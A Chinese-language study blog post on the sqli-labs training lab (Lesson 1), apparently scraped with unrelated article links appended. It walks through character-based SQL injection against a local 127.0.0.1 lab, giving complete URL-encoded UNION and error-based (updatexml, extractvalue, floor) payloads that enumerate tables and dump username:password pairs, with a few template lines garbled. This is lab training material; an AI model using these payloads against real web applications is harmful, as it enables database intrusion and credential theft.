sqli-labs(1)
0x01字符注入
今天是第一天的学习sqli-labs
Lesson1:字符型注入
首先测试一下 ' 发现报错 然后 ''发现 不报错 这种大概率就是字符注入了
接下来我们进行列查询 查询语句
http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23
发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句
查看当前数据库名称
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23
查看所有数据库名称
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23
接下来数据库名称得到以后我们要进行获取表名 操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功
对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23
可以看见里面有username password这些关键字 我们就可以爆字段了
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23
成功爆出字段usernamepassword字段名 0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
0x02手工报错型注入
既然讲到这里 我们就来讲一下报错类型有些什么?
以下学习来自https://blog.csdn.net/weixin_42277564/article/details/80635586这个大佬
1、通过floor报错
and (select from (select count(*),concat((payload),floor(rand()*))x from information_schema.tables group by x)a)
注:输出字符长度限制为64个字符
payload填sql语句
2、通过updatexml报错
and updatexml(,payload,)
and updatexml(,concat(0x7e,@@version,0x7e),)注:输出字符有长度限制,最长32位
3、通过ExtractValue报错
and extractvalue(, payload)
and extractv注:输出字符有长度限制,最长32位alue(, concat(0x7e,@@version,0x7e))
我们简单的了解了报错型手工注入之后我们来进行实战
先要检查报错类型的payload
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23 ///并未报错
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23 ///报错了
证明确实存在手工报错型注入,
爆表的payload 这里我们运用的是上面的报错的方法的第二种
127.0.0.1/sql1/Less-/?id=' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23
可以看见成功爆出表名 接下来我们进行列名的爆破
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23
这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23
接下里就是爆值的操作
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23
同样使用not in显示其他值
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23
sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿
切记 少就是多 快就是慢哦~~
sqli-labs(1)的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- SQL Labs刷题补坑记录(less1-less30)
补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it! 第一部分: LESS1: 直接报错,有回显的注入, http://localhost/s ...
- 【NLP】条件随机场知识扩展延伸(五)
条件随机场知识扩展延伸 作者:白宁超 2016年8月3日19:47:55 [摘要]:条件随机场用于序列标注,数据分割等自然语言处理中,表现出很好的效果.在中文分词.中文人名识别和歧义消解等任务中都有应 ...
- 精通Web Analytics 2.0 (10) 第八章:竞争情报分析
精通Web Analytics 2.0 : 用户中心科学与在线统计艺术 第八章:竞争情报分析 在现实世界中,收集竞争情报可能意味着雇人在竞争对手的垃圾桶(实际会发生!)翻找. 在虚拟世界中,堆如山的数 ...
- NoSQL数据库笔谈(转)
NoSQL数据库笔谈 databases , appdir , node , paper颜开 , v0.2 , 2010.2 序 思想篇 CAP 最终一致性 变体 BASE 其他 I/O的五分钟法则 ...
- 关于启用 HTTPS 的一些经验分享(二)
转载: 关于启用 HTTPS 的一些经验分享(二) 几天前,一位朋友问我:都说推荐用 Qualys SSL Labs 这个工具测试 SSL 安全性,为什么有些安全实力很强的大厂家评分也很低?我认为这个 ...
- 深入理解Ember-Data特性(上)
写在前面 最近比较忙,换了新工作还要学习很多全新的技术栈,并给自己找了很多借口来不去坚持写博客.常常具有讽刺意味的是,更多剩下的时间并没有利用而更多的是白白浪费,也许这就是青春吧,挥霍吧,这不是我想要 ...
- 人人都是 DBA(VII)B 树和 B+ 树
B 树(B-Tree)是为磁盘等辅助存取设备设计的一种平衡查找树,它实现了以 O(log n) 时间复杂度执行查找.顺序读取.插入和删除操作.由于 B 树和 B 树的变种在降低磁盘 I/O 操作次数方 ...
- 价值1400美元的CEH(道德黑客)认证培训课程长啥样?(3)工具集
美元的CEH(道德黑客)认证培训课程长啥样?(3)工具集 这是我收到的CEH官方发来的邮件,参加CEH认证培训原价为1424.25刀,可以给我便宜到1282刀.只有一个感觉,心在流血.站在这价值120 ...
- css3中变形与动画(三)
transform可以实现矩阵变换,transition实现属性的平滑过渡,animation意思是动画,动漫,这个属性才和真正意义的一帧一帧的动画相关.本文就介绍animation属性. anima ...
随机推荐
- jinja2 模板相关
安装 pip install jinja2 配置模板 settings.py 60行左右 TEMPLATES = [ { 'BACKEND': 'django.template.backends.dj ...
- python并发编程-进程间通信-Queue队列使用-生产者消费者模型-线程理论-创建及对象属性方法-线程互斥锁-守护线程-02
目录 进程补充 进程通信前言 Queue队列的基本使用 通过Queue队列实现进程间通信(IPC机制) 生产者消费者模型 以做包子买包子为例实现当包子卖完了停止消费行为 线程 什么是线程 为什么要有线 ...
- RBAC(基于角色的访问控制)用户权限管理数据库设计
RBAC(Role-Based Access Control,基于角色的访问控制),就是用户通过角色与权限进行关联.简单地说,一个用户拥有若干角色,每一个角色拥有若干权限.这样,就构造成“用户-角色- ...
- 多线程之实现Runnable接口及其优点
多线程之实现Runnable接口: 1.创建一个Runnable接口的实现类 2.在实现类中重写Runnable接口的run方法 3.创建一个Runnable接口实现类的对象 4.创建Thread类对 ...
- Chrome去掉标签页8个框
最终效果: 解决思路: 在标签页鼠标右击弹出的菜单项中存在“查看页面源码”一项,由此可确定chrome的标签页是由一个html页面控制的,只要修改其页面源码便能去掉8个框. 经网上查阅确定了标签页的源 ...
- jq sku实现
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- Java的clone方法
现在有User类:(Getter和Setter省略) public class User implements Cloneable { private String name; private int ...
- 像@Transactional一样利用注解自定义aop切片
在spring中,利用@Transactional注解可以很轻松的利用aop技术进行事物管理.在实际项目中,直接利用自定义注解实现切片可以大大的提高我们的编码效率以及代码的简洁性. 实现以上的目标,主 ...
- opencart nginx静态化设置
在niginx设置里添加下面代码,(lnmp的可能是 网址.conf文件添加) # SEO URL Settings # Nginx configuration of OC htaccess loca ...
- TIOBE 7月排行:Python 过分炒作,Perl 成受害者?
与上个月相比,Python 的指数又增加了不少,由 8.530% 上升到 9.260%. 我们还留意到,TIOBE 对这期榜单的标题描述是“Perl is one of the victims of ...